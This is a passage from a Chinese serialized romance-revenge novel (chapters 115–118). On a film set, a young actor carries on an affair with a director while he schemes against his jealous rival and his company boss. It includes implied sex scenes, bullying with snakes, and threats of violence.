萧疏半裸着胸膛,枕在床头,方闻钟靠在他的臂弯里,萧疏的手摸着他的下巴。 又一轮情事,萧疏似乎完全知情,并且不在意:方闻钟喜欢他,也利用他。还安慰方闻钟,“蓝亦借他十个胆子也不敢当着我的面欺负你。” 他承认了他对方闻钟动心了,方闻钟抱着他的背,模糊地看着天花板。 可是这还不够,这还远远不够,萧疏,‘不让蓝亦欺负我’这个承诺太轻了,我还有好多好多事让你帮我做,而那些都需要。 你爱我。 第115章 上药 萧导通知今天剧组休息半天。 天一亮,他在方闻钟房中洗漱完毕,动了动床上之人的腿。 腿间红肿看起来有点糟糕,手机上吩咐叫人买了点药,幸好方闻钟的脚看起来被包扎得很好,经历昨晚也没有出血。 方闻钟喊疼的时候,大多故意,真疼的时候,不见得他出一声。 萧疏穿着被扯掉一颗纽扣的衬衫,出去就撞到专门逮他的周导。 周导表情扭曲,啧啧了好几下,没啧出来句屁话,没营养地说:“休息是你需要休息还是小方啊?” 换任何人都不相信,昨晚是萧疏第一次吃到方闻钟。 萧疏停在走廊,饶有兴趣地盯着周导看,幸好他今天心情好!周导没见到他发火,扔下一句,“那我再看看本吧,”先跑了。 换回得体的衣服,萧疏将方闻钟在他身上弄出来的痕迹,全遮在衬衫里。 他盯着镜子忽而一笑,“方闻钟,很愿意为你……” 披荆斩棘。 那四个字轻得彷佛空气掠动带来的错觉,轻飘飘地飘到方闻钟房门口,叫他也听不见。 “方老师呢?” 下午剧组开工,等到方闻钟还没到场,男一号问出来,此时萧疏正拿着剧本坐在监视器前,旁边的周导好像椅子上有刺似的,今天怎么都坐不稳。 听到男一号的问话,神在在地瞥了眼萧疏,还挑眉弄眼的,冷场得有些久,大家见周导用调侃的眼神看萧疏,里面不怀好意,纷纷思绪狂奔,开始猜测,方闻钟昨晚不会是被萧疏弄得下不来床了吧!今天才迟迟不到场。 与导演的绯闻是一回事儿,真出了这种乐子,没有人会不鄙夷,心底里看轻方闻钟。 男一号和女一号齐齐闭嘴,其他工作人员有些低着头假装在忙,有些还转过头去背后偷听。 等到萧导冷漠地对周导说:“你是闲着没事干?要不你来这儿?”他下巴微低指着自己主导演的位置,空气更静了几分…… 周导老实了,其他在场之人也不敢再分心想有的没的,却忽闻萧疏解释:“昨天方老师拍戏钉子扎到脚了,今天休息。助理呢?给他再安排一个。” 萧疏似乎是在责备昨天没人察觉出来方闻钟的问题,今天才导致拍摄延期。 这个解释,一下让大家恍然大悟,尤其是男一号演员,其实他昨天也猜到了,方闻钟可能受伤了。 不过不知道有那么严重。 萧疏的解释,是给剧组一个交代,周导却新奇地看着男人。 无他,要放以前,萧疏肯定任由各种流言蜚语扑向方闻钟,没见刚来时把人叫到同一层楼,那么多剧组人揣测他们的关系,他都无动于衷吗。 反正语言伤到的不是他。 可今天,他竟然出乎意料地解释了,弥补了这个谎言,不叫方闻钟再被人中伤。 他摇着头,方闻钟小小年纪,可算是遇到的这个畜生会疼点儿人了。周导心底里怎么骂萧疏,面子上毕恭毕敬听人指挥。 方闻钟瘸着腿出现在剧组,大家都关心他脚怎么样了,方闻钟愣了几下。 腿间的麻木怪异,比脚伤更重。 闻此,他干脆不装了,姿态怪异地走路,别人看到了也全当他脚疼。 说来也奇怪,昨晚和萧疏做到底,今天又没起得来床,接到剧组休息的消息,方闻钟甚至做好了准备,一觉醒来大家都知道他昨晚和萧疏上床了,方闻钟勾着萧导做那档子事…… 他做了就不怕别人说,可没想到,等待他的不是别的,全是善意。 趁乱间,他看了工作的萧疏几眼,耳边听到同行说‘萧导昨晚给你叫医生了哇?以后受伤就赶紧说,别不当回事,要不是前面萧导说,大家还不知道你那么敬业呢’…… 这就是喜欢和不喜欢的区别吗?方闻钟心底里被拨动了一下。很快,让这件事平静地过去。 却说另一头,蓝亦在萧疏手上吃了苦头,压根没想过招惹回去,他躲表哥都来不及呢,可谁叫方闻钟还在那个剧组,他实在咽不下那口气,本来折磨方闻钟的,结果全被他受了罪,让人看了笑话。 蓝亦回来后发了几天烧,眼睛被水流冲得又痛又红,他一次次告诉自己,犯到Caspian手里是他倒霉,但Caspian绝对不会对方闻钟另眼相待,故意庇护他! 所以只要不打扰到表哥拍戏,少在他面前碍眼,就好了吧? 方闻钟还是原一清公司的人呢,有的是办法将他弄回来,千倍百倍地还回去!蓝亦腰间隐隐作痛,想要报复方闻钟的想法却越来越强烈。 “把方闻钟的角色换给我怎么样?”他对原一清说:“周导我认识,萧疏还是我表哥,他们一定会愿意用我的吧,我在国外可比方闻钟经验多多了,”蓝亦自信地说。 他相信,有他这个正牌在,没人会愿意用方闻钟那个低配版。 只要公司这边原一清作为老板提出换人。 原一清有些尴尬,“这部戏是周导主动找方闻钟的,不是我给的资源……”签约也是方闻钟占好处比较多。 原一清莫名有点心虚。 蓝亦表情幽深,本来靠近原一清的脸颊,微微后退,他没说信与不信,很快换了一个口吻,彷佛小孩子兴起作闹般,提出另一个表面看对方闻钟好,实际恶毒的心计来,“这个节目挺有意思的。” 他指着一个整蛊综艺节目,“我去看了方闻钟,他和我长得还真挺像的,不过他肯定没有我好看,对不对?”他朝原一清撒娇,原一清顺势抱住他,“对,我只喜欢你了。” “不如我们俩一起去参加这个节目?我和方闻钟一起出现的话,肯定很有爆点吧,”蓝亦低着头说:“我看那个方闻钟也只有这一部戏在拍,不如给他一些其他机会?” 原一清没说好不好,他们去剧组探班的事就这么确定下来。 再见到蓝亦,身边还跟着原一清,方闻钟心底里恨意扭曲,面子上却期待着发生什么,他捏着拳头,站在不远处幽深地看着二人走到萧疏那边说话。 将方闻钟调出剧组的事在萧疏这里刚一提,就被否了! 周导作为外人不敢说话,蓝亦对方闻钟不安好心,但这个大少爷他也尽量能躲就躲,听到萧疏拒绝蓝亦的提议,还为方闻钟隐隐放心。 萧疏嘴里咬着一根菸,含混不清地说:“拍戏期间无特殊原因,不得离组,违约金你出?” 原一清在他斜晲过来的眼光下,硬生生忘了要说什么。 被扫过一眼,蓝亦也不敢触着眉头硬将方闻钟带出组…… 怎么办,事情好像有些难搞,却见萧疏本来盯剧本,后又转头看了蓝亦好几眼,“我记得,你在国外拍过几部戏?” “有个角色,是男五号,剧里和男二号是双胞胎,是他的替身,演吗?” “哦,男二号就是他,”萧疏指着不远处的方闻钟,若无其事地对蓝亦说:“你某个角度和他挺像的。” 被表哥说两人像,蓝亦一点都开心不起来,但是,在同一个剧组演戏?蓝亦眼珠转了转,萧疏再怎么说是他表哥,在他允许的范围内,私下里对付方闻钟,不过分吧?这样岂不是天天能欣赏到方闻钟惊惧的表情了?哈哈哈他在心底里暗笑,为这个计画开心不已。 “好啊。” 周导呆住,什么时候多了一个方闻钟的替身角色?男五号不是早定了别人吗?看萧疏说得煞有其事,他愣是不敢反驳。 甚至,在萧疏的提议下,蓝亦的抱胳膊亲昵下,原一清多给剧组投了一千万,蓝亦带资进组。 他终于开心了,原一清讪笑过后也觉得挺好,没什么。 方闻钟刚走过来,就知道了这个消息,蓝亦要和他一起演戏!还演的是双胞胎,他在众人的视线下,一直低着头,乖巧垂眼,原一清难免多看了几眼。 以前,一直以为他是因为爱蓝亦,才对方闻钟的外表多关注几分,现在,蓝亦就在身旁,他还是忍不住将视线落在他身上。 蓝亦抱着原一清的手臂死死捏紧,原一清终于回过神来,他先退场了。 剧组每个人都有自己要忙的,独留这会儿蓝亦在方闻钟身边,听他介绍这个双胞胎替身角色。 美其名曰,让两人多交流交流。 蓝亦将脸贴近方闻钟,死死地盯着他看,却忽闻他说:“你盯着我看也没什么用,我没觉得我像你,但谁叫原一清觉得呢。”这话被他说得又像认输又像嘲讽。 果然,成功激怒了蓝亦。 他咬牙切齿道:“你不用故作清高,方闻钟,虽然那天表哥揍了我,但毕竟我们是血脉相连的亲兄弟,我们之间的事,没有隔夜仇,而你,”他凑近方闻钟的耳朵,“周导是不敢招惹我的,Caspian,眼里只有拍戏,你觉得你还能找到别人来帮你吗?” 蓝亦脸上的笑容,诡异又自大,他知道,方闻钟这会儿一定怕极了,但压力还不够。 “Caspian,对他来讲,你这样的人就是一条无关紧要的狗,他可瞧不上你,你要是还想着借表哥的手,惩治我,那你就要大失所望了。再怎么说,他还叫我母亲一声小姨呢,你觉得,他会帮你,还是站在我这边?” 两人目光相对,蓝亦笑意盈盈。 是吗,方闻钟轻扯嘴角,终于露出一个今天第一次见蓝亦嚣张的表情,“那,你,试试。” 他一字一顿,说完转身回酒店。 电梯间里就被萧疏拉进怀里亲吻。 腿软,没站住,人被萧疏往上捞了捞。 方闻钟眼睛里湿漉漉的,萧疏分不清那是泪还是别的什么,挑眉道:“生气了?怪我将人放到旁边?” “没有,”方闻钟脸埋在萧疏胸膛。 还是那间酒店,方闻钟被放置在换过被子的床上,腿曲起,萧疏手里拿着一根药管。 “下午没自己涂?” 方闻钟偏过头去不说话。 冰凉的药刺激到火热的地方,方闻钟全身一缩,硬生生被萧疏压住一条腿。 骨节分明的手掌,捏住方闻钟的大腿,“乖点,脚上的药知道换,这里肿了不知道涂?” 方闻钟干脆埋过头去,侧脸整个压进被角里,泪水涟涟。 萧疏洗过手后过来,在他身上趴下亲了亲他的嘴巴,“委屈了?把人放到我的眼皮子底下,给你当替身,不好吗?” 他一下一下,啄着方闻钟的嘴角,鼻头。 孰料,方闻钟的眼泪全是被上药一事刺激的,才不是被蓝亦吓的,委屈什么,不复存在。 他有多期待蓝亦搬起石头砸自己的脚啊,咯咯,他抬起胳膊,遮住自己的眼睛在笑。 前几天还疏远勾搭的男人,这会儿在他床上照顾他,让方闻钟的心里满足感直冲上脸,他取开手,红润诱人地看萧疏。 “那你要我给你报酬吗?哥。” 第116章 动心后哄人 刚涂上去的药,没多久就化开了,刺激更甚,脸埋在枕头上时,方闻钟异常后悔多招惹萧疏一句。 半夜,萧疏要离开时,他迷迷糊糊地说:“明晚不要过来了。” “好。” 第二天拍戏,萧疏愣是给蓝亦要演的这个角色安排了好多正常的剧情,周导看了看,问题不大,蓝亦毕竟是专业的,也不想第一天就在表哥手底下糊弄,更何况有方闻钟旁观,他演得还行。 今天方闻钟离萧疏远远的,于是在蓝亦看来,方闻钟在剧组没有亲近的朋友,被孤立成一个人,除了两导演偶尔拉他说话,其他剧组演员都疏离客气。 他是不知道,方闻钟可是萧导的绯闻情人,再加上他年纪虽小,但性子着实冷漠,所以大家都亲近不起来,孤立倒也不敢…… 蓝亦还以为,方闻钟孤立无援。 一天正常拍完戏,蓝亦吩咐自己身边跟着的人,坏笑了几句。 然后等工作人员收拾完,剧组灯光熄灭,方闻钟就忽然发现自己单独被锁在一间群演的服装间里了,门被他使劲拉了几下,传来外面哐哐落锁的声音。 “方闻钟,你猜我给你准备了什么?” 身后,是今天刚换完还没来得及收拾的戏服,乱糟糟的传来臭烘烘的味道,外面蓝亦鼓掌叫好,他的语气里禁不住冒出丝丝恶毒的喜意。 随着他话音一落,几条手臂长的蛇!竟从两个窗户里被人投放进来,一掉到地上,蛇立马吐著信子,朝方闻钟这边走来。 方闻钟脸白了一下,脚步后退,全身已经紧绷。 “还有很多很多呢,”蓝亦吓唬方闻钟,两个跟在他身边的保镖,听话地当助理替蓝亦做这些事。 又是几条花蛇,先前那一批,已经快到方闻钟脚边了。 方闻钟强自镇定,他赌蓝亦还不敢投毒蛇,那还害怕什么,十九岁的少年,天不怕地不怕,抓起一条蛇就举在空中。 恶心、颤抖,方闻钟眼睛里的脆弱慢慢全被其他代替。 他早猜到蓝亦准备对他做些什么了,之所以不敢白天在剧组闹,还不是怕他哥,所以他支开了萧疏,也支开了剧组其他工作人员。 晚上不用管这里。 被锁的只有他一个人吗?才不是,方闻钟嘶哑地笑着,那条蛇被他抓住七寸,脚下的蛇蠢蠢欲动,蓝亦和他的人,也被锁在外面,今晚,谁都别想离开,大家共处蛇窝好了。 蓝亦没等来方闻钟的尖叫,但他脑海里,方闻钟被吓到泪流满面的神色,越来越生动形象。 咚!衣服架子被拉在地上的声音!蓝亦更开心了。 忽然,窗户重新被打开,一大包衣服从里面兜头往外面一扔!一助理吓了一跳,用胳膊挡了一下,这一挡,那一包衣服被甩在蓝亦身上! 共同甩开的!还有包在里面的疯狂扭曲的七八条蛇! “啊!” 方闻钟掏了掏耳朵,只觉得蓝亦要把几里外的人都要吵醒了! “什么东西!” “不要!” “不要过来!” “你们快点给我弄死它啊!” 手忙脚乱中,本来助理俩还没扔完的蛇,这下一下全跑开来,缠在蓝亦三人脚边窜! 蓝亦还忘不掉刚才被蛇扒脸的恐惧,花容失色跳都没地方落脚! 蓝亦的尖叫听得方闻钟悦耳翘嘴,虽然他欣赏不到他如何自食恶果,助理们这才发现外面一道门也落锁了,喊叫无人。 这一晚,方闻钟枕在脏衣服堆里,睡得很舒服。 他知道蓝亦被咬伤了,原来他也会那么痛苦地哭啊,他还知道跟在他身边的助理,被蓝亦威胁去死。 他闻到了血腥味,蛇应该都死了吧,他躺在地上,手里转着信号满格的手机。 蓝亦他们不熟工作人员,叫不来开锁的人,方闻钟却可以,他还可以叫来萧疏。 他转着手机,甚至Caspian的联系方式都没点开。 夜晚,救护车到时,他安眠入梦- 清晨,大家才隐隐约约听闻,昨晚好像蓝亦出事了,被送往医院,方闻钟跟着大部队一起吃饭时,蓝亦被蛇咬伤的新闻才传开。 “怎么会?哪来的毒蛇啊?” “不是毒蛇,人应该没事,就是被吓了一跳……” “拍戏场地那边的吗?” 众人疑惑。 蓝亦已经到组里了,面面相觑,谁都不知道,方闻钟昨晚也在服装间睡了一夜。 答应过不找他的萧疏当然也不知道,方闻钟挡开贴近他的萧疏,“别靠近我,脏。” 男生纤细洁白的手腕颤抖着,从萧疏手下甩开,萧疏一愣,就见方闻钟往后退了几步,“身上都是脏衣服的味道,还有,被蛇爬过的身体,好难受。” 他蹙着眉,低垂着眼,说完这句话,已经低落地在萧疏注视下往前走。 萧疏一下将人拉回来,掼到墙上,“你说什么?” 方闻钟被扯着胳膊压在墙上,抬头,萧疏动怒,狭长的眼微紧,那里还有什么?是对他的担忧吗? “哥哥,”方闻钟做戏就要做到满分,“我没有被蛇咬,只不过被它们爬过身体而已。你不用担心。” “可以放开我了吗?你表弟貌似比我更严重,你不如去看他?” 他抖了一下,使劲擦着自己裸露出来的皮肤,彷佛沉浸在他描述的被蛇爬过身体的噩梦里。 “方闻钟!”萧疏表情很沉,“为什么不叫我,为什么不早告诉我!” “我叫你,你就会来吗?”方闻钟倔强抬头,眼睛里强撑着泪花闪烁,“随时随地,不管还有谁在,我告诉你你就会来吗。” 说完,他不等萧疏的答案,率先走了。 萧疏:“……” 萧导今早情绪不对,一张脸沉得可怕,工作人员静悄悄地在他扫视下,仔细干好自己的分内事。 蓝亦过来,见到方闻钟好端端地坐着,还没等有什么反应,直觉从他表哥身上察觉出了恐怖的气息。 一时之间,他不敢乱动。 现在,是Caspian的拍戏时间了。 萧疏大刀阔斧地坐在那儿,安排道:“换一场戏,调整一下戏份,先拍水里那场。” 方闻钟被安排下水,蓝亦这个替身恰好这时候被派上用场,这场戏里,他代表方闻钟的身份,被抓住受罪,而方闻钟早逃出去和男一号准备救他。 先拍方闻钟,他穿着单薄的衣服从水里上上下下好几次,终于过了。 蓝亦再到水里,就被装在一个木质的水牢里,徒留脑袋留在上面,沉了两次水,呛了几口,他都从来没想过,这一场戏,会是Caspian假公济私,故意整他。 “脑袋往下按,”蓝亦刚探出头来,大大地咳嗽了一声,就被抓着头发一下又按到水里。 萧疏翘着二郎腿,随便扫了一眼显示屏,“脸太干净了。” “啊!”蓝亦再被按下去时,脸不小心蹭到了木头,瞬间划破一道口子。 “按下去,”萧疏瞬间叫住呆愣的搭戏演员。 “咳咳咳,”蓝亦在水下艰难挣扎,他面目狰狞,好不容易从水下探出头来,怒吼道:“Caspian,有你他妈这么拍戏的吗!” 这一吼,随着他痛苦的咳嗽喘息,抓着他的演员倒是松开了,其他工作人员也停住手中动作,萧疏从椅子上起身,离开监视器,一步一步走过去。 蓝亦看到居高临下过来的男人,一阵冷意从内往外,让他大脑瞬间清醒。 萧疏蹲下,拍了拍蓝亦的脸皮,“还能拍吗?” 他只是这样随便说,彷佛之前一切,都是蓝亦这个演员不配合,太胡闹。 蓝亦不知道说什么,在被萧疏挡住的视线后,是方闻钟一个人坐在小椅子上,吹着暖风,椅子轻轻的,摇啊摇。 于是再开始,拍摄继续。 来来回回沉了好多次,蓝亦彷佛脑袋安在一具尸体上,本来昨晚就惊惧过度,没睡好,今天被折腾一早上,早没了生气。 “Caspian,我说够了。”蓝亦恶狠狠道,就算拍戏,也没有他这么把演员不当人的。 萧疏过来,蓝亦刚从水里冒出上半身,还被助理扶着,迎面就见一个大脚,萧疏的靴子一下踹在他肩膀上! 噗通! 蓝亦和助理三人齐齐重新落水。 …… 萧疏好整以暇地蹲在水边,对蓝亦说:“下次,水里就会多一些别的东西,毒蛇,还是什么?你带来什么就加什么?” “知道了吗?”他威胁蓝亦的不规矩,“在我组里就安安分分好好拍,不想拍,直接滚。” 蓝亦心里将萧疏祖宗十八代咒骂完了,脑袋却被萧疏整得又懵又疼。 现下,只会机械地说:“知道了。” 他对他的恐惧,与生俱来,刻在基因里。 在方闻钟那里,他敢放狠话,萧疏要叫他母亲一身小姨,可家族谁人不知,就是他母亲那个小姨有事犯到萧疏手里,萧疏也不见得会客气一分,他木木地心想,在他们家里,一声表哥的份量,可能还没Caspian养的一条狗叫一声强。 被同样害怕的助理搀扶下去时,蓝亦视线里哪还顾得上看方闻钟。 方闻钟知道自己这会儿该去找萧疏道谢,他为他出了口恶气,说什么他都应该去感谢他的不是吗? 男生站在卫生间里,换好自己的衣服,摸着自己光滑的手腕。 他实在开心,表情压抑不住地兴奋,但不能让萧疏看到他这幅样子。 他理应诚惶诚恐,感激他,更爱他了不是吗? 屈起手指,敲响了萧疏的门。 这是他第一次进萧疏的房间,冷灰色的装饰里,突兀地放着一条亮色的皮带手表,看包装刚打开。 “进来,”萧疏刚说完,擦着头发,就被方闻钟一下抱住了腰。 方闻钟埋在萧疏胸前,深深吸了一口气,开口,闷闷的。 不好意思,却夹杂着数不清的喜欢爱意,“哥哥,你今天是故意的对吗?” “你故意欺负你表弟,”他抬头,注视着萧疏的下颌,“我没想到你会帮我,你心疼我了吗?”方闻钟重新低下头,将脸贴近萧疏胸前。 萧疏扔下毛巾,一把把人打横抱起来,“嗯,你在我面前哭,我不心疼岂不是太没良心了。” 二人都倒在沙发上,“我替他向你赔罪怎么样?” 萧疏将那条表带,扣在方闻钟手腕上,非常漂亮,价值自然也不用多说。 方闻钟欣喜,摇头,“你不用替他向我赔罪。” “哥哥,这叫你哄我,”他认真地看着萧疏的眼睛。 萧疏随即一笑,“哄你,”亲吻着他的嘴唇,“身体还难受吗?还害怕吗?” 第117章 “第一次吃醋的感觉怎么样?” “睡在你身边就不怕了,你要抱住我。” 方闻钟后背贴着萧疏的前胸,心底里的那些算计,全部因快看到成功的结果,而按捺不住,激动,颤抖。 揽在腰上的胳膊一紧,方闻钟又被重新拉入萧疏的怀里。 萧疏,萧疏,他在他怀里…… 蓝亦身体大伤,他脱离了几天剧组,再回来时,是原一清一起陪着他来的。 坐在原一清旁边的蓝亦,显得沉默了很多,可只有方闻钟知道,那条毒蛇只有短暂的休眠期,从来没有变成无害的长虫的时候,除非将他的獠牙全拔了,七寸捣烂…… 度过了几天安稳日子,萧疏对他日渐上心,连下戏后的时间也要管,不远不近地待在他导戏附近,萧疏偶尔会递过来一个安抚温热的眼神,一天拍戏结束,萧导就变成了方闻钟一个人的东西。 方闻钟趁原一清蓝亦他们和周导交谈时,萧疏也忙着顾不上他,躲在一个不起眼又容易碰到其他人的地方,翻起一本书假装沉心看书。 “啊,对不起。”女声婉转。 时间流逝,方闻钟终于见到了一个利落高挑的女人,经过他,却不小心两人互相绊了一下。 “没关系。” 她有两个很重要的身份,值得方闻钟在这里等她。 “你在看这本书?”女人惊讶了一下,挑眉落向方闻钟的手间,方闻钟随口答:“对,我很喜欢,而且,不是传言要拍电影了吗……” 谈起这个女人一下来了兴趣,脸上挂着自豪的微笑,两人就书本内容谈了几句,女人挺喜欢方闻钟的颜值和性格的,最后差点忍不住要透露给他,剧本很可能会落入方闻钟他们自家公司,这两日就能确定,这是一个一眼就能看出高品质的大爆剧本,方闻钟去试试,说不定还能捞个小角色演…… 话将将出口,听到方闻钟嘟囔,“最好别给原一清拍。” “嗯?为什么?”女人似乎并不惊讶方闻钟这样称呼他老板,方闻钟也像涉世未深的年轻人一样口无遮拦,有啥说啥,“公司里的前辈不都走了吗?还有谁能来演,而且我听说公司快没钱了吧,不过也没事……反正还有原一清他父亲给我们公司兜底。” 方闻钟低着头,过了一会儿抿着唇似乎终于忍不住,又说:“可是这本书里最深刻的剧情就是讲社会性|侵啊,原董明明是这样的加害者。” “你说什么?”女人似乎被扼住了喉咙,奇怪的表情定格在脸上,一动不动看向方闻钟。 方闻钟好像知道自己说错话了,讲出了一些不为人知的秘密,但他梗着脖子,不肯承认自己撒谎,也不再说别的……原董,原一清的父亲,这本书改编而成的电影的投资者,很可能就是书里描写的最可恶的恶人,她只感觉浑身发冷,“你怎么知道的,你有什么证据吗?” “嘁,你管我……”方闻钟不配合了,过了一会儿,好像终于憋不住,又吐露了一句,“你去查查这个不就知道了。” 他递给她手机显示屏,一个微博小号,写着触目惊心的彷佛编造发疯的内容。 女人直直起身,“我知道了,”她疾步离开,很快又回过头来对方闻钟认真说:“谢谢。” 眼神复杂。 方闻钟合上书,定定看着女人走远,再见到她,是原一清他们要离开时,女人竟站在原一清身后,正是原一清最重要的秘书之一。 当然,这个身份现在的方闻钟不应该知道。 女人也看到了方闻钟,方闻钟好像发现了她和原老板的亲密,不知所措、胆怯,她尽力释放出一个善意的笑容:没事,我不会告诉别人…… 她除了是原一清的秘书,还是这本书作者的亲姐姐!而改编剧本拍电影的提议,就是她向原一清推荐的! 女人只感觉手臂都在发抖,如果那样的话……她真的不会原谅自己,不止因为其他可能存在的她不认识的受害者,还因为,这是妹妹的心血,是她的自我救赎! 绝对不能沾染上魔鬼的铜臭,让他们践踏。 心里已经打定了主意,剧本不会卖的,该查的她也会查清楚! 方闻钟没理由拿这种事骗她,所以女人几乎已经给原董定了罪,他本来就不是好人不是吗。 所有人的身影渐渐消失,方闻钟身上不安、局促的气质纷纷褪去,换成一身从容。蓝亦又等了好多天才等来原一清继续探班,而这次,原一清脸上肉眼可见的烦躁疲惫。 公司今年唯一的几乎是救命稻草的S级电影项目,泡汤了,班子拉起来合同快要落于纸上,作者说什么也不同意署名。 无论是威逼还是利诱,终于还是没办法,所以原一清这两天压力很大,工作极其不顺,导致他看到蓝亦也没多开心。 他没注意到身边秘书的异样,而方闻钟只需知道现在的结果,就明白,他的计画成功了。 对原一清一点一点的蚕食,一直在继续,他不着急,也从不会手软- 原一清没办法不注意到方闻钟,镜头下的他,彷佛成了一个他从没见过的不认识的人,尤其,他发现方闻钟对萧疏的态度有些奇怪,萧疏也是,其他人横眉冷对,到了方闻钟这里,安抚居多。 原一清竟然诡异地察觉到他们两人之间不对劲,还没来得及多想,方闻钟就不经意地靠近他。 本身就是一家公司的演员和老板,在一起说说话自然也没人多说什么,只有两个人例外。 蓝亦看着那边和原一清只有一臂之远的方闻钟,方闻钟微笑着仰头似乎和原一清说悄悄话,而原一清也一脸动容,和方闻钟有来有往,最后两个人还一起低头扫了扫手机,原一清拍了拍方闻钟的肩膀。 他还想摸一下方闻钟的头发,那里落了一根干草,方闻钟还穿着戏服,极速躲过。 他压下眼里的恶心,妈的从没见过这么贱的人,他始终知道,原一清爱蓝亦可能是真,但总肖想他也是真…… “我先走了。” 蓝亦心底里的暴虐一寸寸蔓延至全身,他忍耐着,忍得牙齿都在发痒,还要在Caspian执导下演完他该演的戏,显示屏上扭曲的蓝亦那么突兀,而显然,Caspian现下似乎也没心情叫他再来一遍。 心思也不在这上面。 萧疏低头,点了一根菸,烟圈沉默而又漫长地吐出来,遮挡住他望向一边的眼神,那里,方闻钟还在和别人说说笑笑,原一清动手时,萧疏将菸头掐灭,碾碎在脚尖。 “再来。” “再来。” 这句话就成了一整个夜间戏萧疏唯一的口头禅,换谁上他都是这幅要死不活的样子,生生冻着一大群剧组之人,方闻钟也难逃一劫。 镜头下,方闻钟本来好好演着戏,忽然,在不经意的瞬间,朝导演做了个口型,“我错了。” 萧疏看懂了。 然后剧组解散了。 一进电梯,方闻钟就迫不及待攀上萧疏的肩头,一条腿勾在萧疏腰上萧疏用手揽着他,男生湿润温暖的嘴唇,在萧疏脖间贴来贴去,他迫不得已仰头,正好叫方闻钟得逞,一下咬在他喉结上。 萧疏用力,手臂一下将方闻钟整个人提起来,冷厉的眉眼漫不经心地看了眼摄像头,然后一直抱着方闻钟一动不动,直至电梯重新打开。 平静的沉默下,是方闻钟仅自己知道的萧疏的“热情”。 被扔在床上时,萧疏一边脱外套一边皱着眉,方闻钟傻乎乎地跌坐在床上不语,安静地看着他,萧疏忽然弯腰,厉声:“没什么解释的吗?” 他把方闻钟困于两臂之间。 彼此鼻息错乱。 方闻钟装傻,“什么?” 萧疏忍不住唇间发出一句冷嗤,嘲讽感十足,“和原一清干什么呢?拉拉扯扯的。” 方闻钟一直不说话,萧疏生气,“方闻钟,想脚踩两只船,信不信我给你腿扯断。” 他不似玩笑的语气下,方闻钟硬生生听出了比恼怒更多的烦躁,他只是和原一清说话,萧疏在躁什么? 他火上浇油,“他是我老板,还照顾着我父亲,而且,我和他之前有过一段合约……所以……” 萧疏从方闻钟身上离开,他坐在了远处沙发上,抹了一把头发,似乎已经接受,平静,又似乎在体会着从未有过的自己的风暴。 “啧,”他斜晲了眼方闻钟,方闻钟过来,蹲在他腿边,一上一下,两人互相注视。 这次换方闻钟先笑着开口,“萧疏,Caspian,第一次吃醋的感觉怎么样?” 萧疏眉毛狠狠一挑,方闻钟在说什么鬼话…… “不是吃醋吗?你不在意原一清和我曾经的关系,不在意我身上‘他的情人’这个身份?”虽然都知道是假的,方闻钟站起身,这下坐在萧疏腿上。 “你不想把我从原一清身边拉过来吗?” 方闻钟两只手顺势攀住萧疏肩膀,三秒,四秒,“算了。” “我错了,我哄哄你吧,”方闻钟向萧疏低头,亲亲他,脑袋像小猫一样抵住萧疏的鼻尖晃动。 一直到方闻钟快晃困了,萧疏才终于作罢,似乎这就是他要的方闻钟的解释。 也是他自己的解释。 “你说得对,方闻钟,我很膈应,”萧疏压低声音,咬上他耳朵,“我是吃醋了,跟了我,以后就别让人随便碰你,知晓吗?” 他的烦躁终归平静,对方闻钟的感情,似乎同时比喜欢多了一分。 而这,正是方闻钟要的结果。 第118章 “你啊,你啊。” 原一清好长时间没来剧组,而方闻钟只以为他在忙工作,并不知晓,说着不在意事情已经过去了的萧疏,小心眼地托人给原一清公司找了些麻烦,让他更雪上加霜。 这一切做得毫无痕迹,萧疏更不屑于露于脸上,两人举止亲密方闻钟有什么错呢,肯定是原一清不识好歹纠缠,所以找他麻烦就好了。 萧疏好整以暇地看着和演员们混在一起的方闻钟,守护自己的所有物,是猎人的本能。 而在上次原一清离开的当天,蓝亦就抽时间找到了方闻钟。 蓝亦从小到大顺风顺水,想要什么得不到,想做什么没法做?法律约束?可笑,他生存的环境长大的地方,那种玩意儿是最不值得一提的一纸空谈!他的行为和恶,早被人命滋养过,而他唯一的执拗和偏执,只有一个人,那就是原一清。 他们相爱,似乎是上天注定,蓝亦可以和原一清分居两地,可以忍受各有自己的人生,但蓝亦接受不了有其他人插入他们其中,破坏他们的感情,无论是主动还是被动,感情一旦有破裂的迹象,蓝亦就想将那人置之于死地。 很不幸,方闻钟就是他刀尖上的目标。 从不会因方闻钟示弱、Caspian几次插手而改变。 “你以为,你能躲在这里一辈子吗?”蓝亦一改往日的咋咋呼呼,整个人阴郁而沉默,“方闻钟,没记错的话,你还不满二十岁,让我想想,你的人生还有多长时间够我折磨?” “打断腿,扯断筋,你的身体……”他上下扫了一眼,说出一句最为恐怖的话,“也怕千人骑,当一个药物试验品吧?” 方闻钟难以忍受地抖了一下,他极力控制,可还是在捏紧拳头的同时,任发白的脸颊紧缩的瞳孔,泄露了他的情绪。 “本来不想对你这样的,”蓝亦淡漠道:“可你总是太好运,还以为能躲在Caspian的庇护下逃过一劫,更甚至故意接近原一清,挑衅我?” 下午他们两人站在一起笑闹的画面还在脑海里,蓝亦知道,方闻钟是故意的,他还学不乖,还想引起原哥哥注意,真得惹到他了,那就别怪他不用一般手段。 “你在意的东西太多太多了,浑身都是弱点,哦,你爸还在疗养院吧?”蓝亦笑容不达眼底,对方闻钟说:“那就先拿他开刀。” 方闻钟终于直视蓝亦的眼神,紧绷不是因为怕,而是这一切终于来了,他曾经最地狱般的遭遇,又一次轻飘飘地从蓝亦口中说出,这才是他不是吗?一个彻头彻尾想让人撕碎的仇人。 在意的太多了吗?浑身都是弱点吗? 方闻钟在心里发笑,他只觉得,他这一辈子都为了报仇而活,除了活着,他还有什么在意的? 等待,按自己的计画反击,方闻钟紧紧咬着牙齿,蓝亦察觉不到他深层的情绪,最后一次告诫后,他不将方闻钟放在眼里,离开了这里。 方闻钟转身,深邃的眼睛一直盯着那道人影离开。 所谓的接近原一清,不过是趁机向他推荐了一个大项目,消息来源就说是从周导那儿不小心听到的,圈内有一个大拿剧本正在拉投资,以往作品纷纷叫好又叫座,这次肯定也是大爆的迹象,甚至比他们之前错过的那个S级项目更甚。 在这个档口,原一清没有不上的道理,这几乎是为公司量身打造的能一举将他拉上王位的影视项目。 他感激方闻钟还来不及,看方闻钟也越来越顺眼了。 而只有方闻钟知道,不久的将来,这部电影就会被爆抄袭,圈内数十名不起眼的编剧联名起诉那位大拿,一时连人带剧本,纷纷陷入各路丑闻,旷日持久。 不光让原一清拿不到想要的剧本,还专门为他挖了一个坑等他跳。 然后趁他病要他命。 